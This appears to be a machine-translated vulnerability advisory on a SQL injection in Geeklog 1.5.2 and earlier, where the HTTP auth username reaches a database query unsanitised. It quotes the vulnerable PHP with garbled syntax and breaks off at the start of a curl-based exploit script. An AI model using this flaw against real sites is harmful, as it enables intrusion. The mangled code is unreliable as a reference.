Affected Versions:
Geeklog <= 1.5.2
Vulnerability description:
Geeklog is a free and open source Web application. It allows users to create a virtual community, manage users, and post articles. Geeklog is implemented using PHP and uses MySQL as the background database.
The SEC_authenticate () function in the index. php module of Geeklog does not correctly verify the PHP_AUTH_USER and REMOTE_USER variable parameters submitted by the user. Remote attackers can execute SQL injection attacks by submitting malicious query requests. The following code snippet contains lines 34-53 in the/public_html/webservices/atom/index. php file:
...
Require_once.../lib-common.php;
If (PHP_VERSION <5 ){
$ _ CONF [disable_webservices] = true;
} Else {
Require_once $ _ CONF [path_system]./lib-webservices.php;
}
If ($ _ CONF [disable_webservices]) {
COM_displayMessageAndAbort ($ LANG_404 [3], 404, Not Found );
}
Header (Content-type:. application/atom + xml.; charset = UTF-8 );
WS_authenticate ();
...
/System/lib-webservices.php file line 780-877 WS_authenticate () function:
...
Function WS_authenticate ()
{
Global $ _ CONF, $ _ TABLES, $ _ USER, $ _ GROUPS, $ _ RIGHTS, $ WS_VERBOSE;
$ Uid =;
$ Username =;
$ Password =;
$ Status =-1;
If (isset ($ _ SERVER [PHP_AUTH_USER]) {
$ Username = $ _ SERVER [PHP_AUTH_USER];
$ Password = $ _ SERVER [PHP_AUTH_PW];
If ($ WS_VERBOSE ){
COM_errorLog ("WS: Attempting to log in user $ username ");
}
} Elseif (! Empty ($ _ SERVER [REMOTE_USER]) {
List ($ auth_type, $ auth_data) = explode (, $ _ SERVER [REMOTE_USER]);
List ($ username, $ password) = explode (:, base64_decode ($ auth_data ));
If ($ WS_VERBOSE ){
COM_errorLog ("WS: Attempting to log in user $ username (via $ _ SERVER [REMOTE_USER])");}
} Else {
If ($ WS_VERBOSE ){
COM_errorLog ("WS: No login given ");
}
}
...
And then in rows 907-909:
...
If ($ status =-1) & $ _ CONF [user_login_method] [standard]) {
$ Status = SEC_authenticate ($ username, $ password, $ uid );
}
...
/System/lib-security.php file lines 695-717:
...
Function SEC_authenticate ($ username, $ password, & $ uid)
{
Global $ _ CONF, $ _ TABLES, $ LANG01;
$ Result = DB_query ("SELECT status, passwd, email, uid FROM {$ _ TABLES [users]} WHERE username = $ username AND (remoteservice is null) or (remoteservice =) "); // <------------------- SQL INJECTION HERE
$ Tmp = DB_error ();
$ Nrows = DB_numRows ($ result );
If ($ tmp = 0) & ($ nrows = 1 )){
$ U = DB_fetchArray ($ result );
$ Uid = $ U [uid];
If ($ U [status] = USER_ACCOUNT_DISABLED ){
// Banned, jump to here to save an md5 calc.
Return USER_ACCOUNT_DISABLED;
} Elseif ($ U [passwd]! = SEC_encryptPassword ($ password )){
Return-1; // failed login
} Elseif ($ U [status] = USER_ACCOUNT_AWAITING_APPROVAL ){
Return USER_ACCOUNT_AWAITING_APPROVAL;
} Elseif ($ U [status] = USER_ACCOUNT_AWAITING_ACTIVATION ){
// Awaiting user activation, activate:
DB_change ($ _ TABLES [users], status, USER_ACCOUNT_ACTIVE,
Username, $ username );
Return USER_ACCOUNT_ACTIVE;
} Else {
Return $ U [status]; // just return their status
}
} Else {
$ Tmp = $ LANG01 [32]. ":". $ username ."";
COM_errorLog ($ tmp, 1 );
Return-1;
}
}
...
You can inject SQL code into the username parameter of this function. This parameter comes from the $ _ SERVER [PHP_AUTH_USER] or $ _ SERVER [REMOTE_USER] variable.
Test method:
The Program (method) provided on this site may be offensive and only used for security research and teaching. You are at your own risk!
<? Php
$ Err [0] = "[!] This script is intended to be launched from the cli! ";
$ Err [1] = "[!] You need the curl extesion loaded! ";
If (php_sapi_name () <> "cli "){
Die ($ err [0]);
}
If (! Extension_loaded (curl )){
$ Win = (strtoupper (substr (PHP_ OS, 0, 3) === WIN )? True:
False;
If ($ win ){
! Dl ("php_curl.dll ")? Die ($ err [1]):
Nil;
} Else {
! Dl ("php_curl.so ")? Die ($ err [1]):
Nil;
}
}
Function syntax (){
Print (
"Syntax: php". $ argv [0]. "[host] [path] [OPTIONS]". "Options:
"." -- Port: [port]-specify a port
"." & Nb